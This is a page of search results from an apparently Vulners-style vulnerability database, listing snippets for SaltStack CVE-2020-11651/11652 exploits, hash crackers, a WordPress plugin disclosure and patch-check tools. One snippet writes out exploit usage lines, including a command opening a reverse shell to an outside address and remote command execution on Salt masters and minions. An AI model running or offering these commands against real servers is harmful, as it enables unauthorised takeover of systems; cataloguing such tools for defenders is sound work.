Lucene search
+L

2422 matches found

Nuclei
Nuclei
added 2026/09/01 10:50 a.m.122 views

WordPress Redux Framework <=4.2.11 - Information Disclosure

WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 has...

5.3CVSS6.1AI score0.28961EPSS
SaveExploits6References5
Kitploit
Kitploit
added 2026/09/01 9:29 a.m.3 views

CVE-2019-9053-python3-remastered

CVE-2019-9053-python3-remastered The script has been remastered by Teymur Novruzov to ensure compatibility with Python 3. This tool is intended for educational purposes only. Unauthorized use of this tool on any system or network without permission is illegal. The author is not responsible for an...

8.1CVSS7.2AI score0.68581EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/01 8:56 a.m.66 views

mose

MOSE Master Of SErvers...

5.3AI score
SaveExploits0References7
Kitploit
Kitploit
added 2026/09/01 5:14 a.m.2 views

salt-shellshock

====================== shellshock bash update This recipe tries to upgrade bash from OS pkg, and falls back to compile bash on systems with no update available. Works for us on old ubuntu/debian. Bash install script from:...

10CVSS7.2AI score0.99999EPSS
SaveExploits138
Kitploit
Kitploit
added 2026/09/01 12:22 a.m.5 views

DEScrypt-CPU-Collision-Cracker

DEScrypt-CPU-Collision-Cracker What is DEScrypt-CPU-Collision-Cracker? A linux based high performance DEScrypt CPU cracker written in c++, it deduces the salt and uses a password list to crack hashes. Why not use a rainbow table? DEScrypt uses by default a two byte saltcomprised of characters...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/31 9:16 p.m.5 views

CVE-2020-11651-poc

PoC exploit for CVE-2020-11651 and CVE-2020-11652 This is a proof of concept exploit based on the initial check script. Use it to verify you have successfully updated your Salt master servers to a release containing the required fixes. Thanks for F-Secure Labs for their research and reporting...

9.8CVSS7.1AI score0.96614EPSS
SaveExploits23References1
Kitploit
Kitploit
added 2026/08/31 9:00 p.m.8 views

salt

Welcome to salt , a tool to reverse and learn kernel heap memory management. It can be useful to develop an exploit, to debug your own kernel code, and, more importantly, to play with the kernel heap allocations and learn its inner workings. This tool helps tracing allocations and the current sta...

5.8AI score
SaveExploits0References6
Kitploit
Kitploit
added 2026/08/31 8:04 p.m.4 views

Dagon

Dagon - 高级哈希操作 以地狱王子命名的 Dagon day-gone 是一个高级哈希破解与操作系统,能够暴力破解多种哈希类型、创建暴力破解字典、自动验证哈希算法、从 Unicode 到 ASCII 的随机盐值生成,以及更多功能。 截图 暴力破解变得简单:如果您未指定词表,内置词表创建器将生成 100,000 个字符串供使用 验证用于创建您正在尝试破解的哈希的算法。可以通过提供 -L 标志来查看所有可能的算法(部分算法尚未实现) 随机加盐、Unicode 随机加盐,或者您也可以自行选择盐值。 演示视频 下载 您可以通过 git clone...

5.9AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/08/31 8:04 p.m.26 views

Dagon

Dagon - Advanced Hash Manipulation Named after the prince of Hell, Dagon day-gone is an advanced hash cracking and manipulation system, capable of bruteforcing multiple hash types, creating bruteforce dictionaries, automatic hashing algorithm verification, random salt generation from Unicode to...

5.6AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/08/31 6:44 p.m.4 views

cve-2020-11651

CVE-2020-11651 Esta es una POC para CVE-2020-11651, que obtiene RCE sin autenticación en un master de SaltStack y/o todos los minions asociados. Algunos detalles ligeros sobre el problema están aquí. La POC para 2020-11652 no está incluida. Esto obtiene ejecución de comandos en el master creando ...

9.8CVSS7.4AI score0.96614EPSS
SaveExploits22
Kitploit
Kitploit
added 2026/08/31 6:06 p.m.3 views

salt-vulnerabilities

Salt Stack Profile This profile will check to make sure your salt installation is patched to a level that protects you from CVE-2020-11651, and CVE-2020-11652. It does so by checking to ensure the packages salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic, and salt are either...

9.8CVSS7AI score0.96614EPSS
SaveExploits23
Kitploit
Kitploit
added 2026/08/31 2:01 p.m.4 views

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

9.8CVSS7AI score0.96614EPSS
SaveExploits23
Kitploit
Kitploit
added 2026/08/31 1:21 p.m.4 views

CVE-2020-11651

CVE-2020-11651 PoC for CVE-2020-11651 Requires Python3 tested on 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or...

9.8CVSS7.3AI score0.96614EPSS
SaveExploits22
Kitploit
Kitploit
added 2026/08/31 12:19 p.m.3 views

CVE-2020-11651

CVE-2020-11651 An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class does not properly validate method calls. This allows a remote user to access some methods without authentication. These methods can be used to retrieve user...

9.8CVSS7.4AI score0.96614EPSS
SaveExploits22References1
Kitploit
Kitploit
added 2026/08/31 10:21 a.m.5 views

CVE-2020-11651-PoC

CVE-2020-11651-PoC Repository that contains a CVE-2020-11651 Exploit updated to work with the latest versions of python and handle the errors with the connections. README COPY FROM THE ORIGINAL REPOSITORY Original Repository PoC exploit for CVE-2020-11651 and CVE-2020-11652 This is a proof of...

9.8CVSS7AI score0.96614EPSS
SaveExploits23References2
Kitploit
Kitploit
added 2026/08/31 4:06 a.m.6 views

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API Vulnerabilidad explicada: Se descubrió un problema en SaltStack Salt hasta la versión 3002. El envío de solicitudes web manipuladas a la API de Salt, con el cliente SSH habilitado, puede provocar una inyección de shell. Los detalles sobre esta vulnerabilidad se...

9.8CVSS7.1AI score0.99585EPSS
SaveExploits4References1
Cvelist
Cvelist
added 2026/08/28 8:41 p.m.31 views

CVE-2025-36271 IBM Integrated Analytics System (IIAS) is affected by a predictable salt vulnerability in Magneto component

IBM Integrated Analytics System 1.0.0.0 through 1.0.31.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information...

5.9CVSS0.00162EPSS
SaveExploits0References1
CVE
CVE
added 2026/08/28 8:41 p.m.18 views

CVE-2025-36271

IBM Integrated Analytics System (IIAS) versions 1.0.0.0 through 1.0.31.0 are affected by a predictable salt vulnerability in the Magneto component (specifically the resmgr.py module). The use of a predictable salt in cryptographic operations (classified as CWE-759 ) weakens hashing and encryption...

5.9CVSS5.9AI score0.00162EPSS
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/28 2:43 p.m.4 views

CVE-2020-11651

CVE-2020-11651 PoC per CVE-2020-11651 Richiede Python3 testato su 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP o...

9.8CVSS7.3AI score0.96614EPSS
SaveExploits22
Kitploit
Kitploit
added 2026/08/28 3:53 a.m.5 views

salt-scanner

salt-scanner Uno scanner di vulnerabilità per Linux basato sulle API di Vulners Audit e Salt Open, con notifiche Slack e integrazione JIRA. Caratteristiche Notifiche Slack e caricamento report Integrazione JIRA Integrazione OpsGenie Requisiti Salt Open 2016.11.x salt-master, salt-minion¹ Python 2...

5.9AI score
SaveExploits0
Rows per page
Query Builder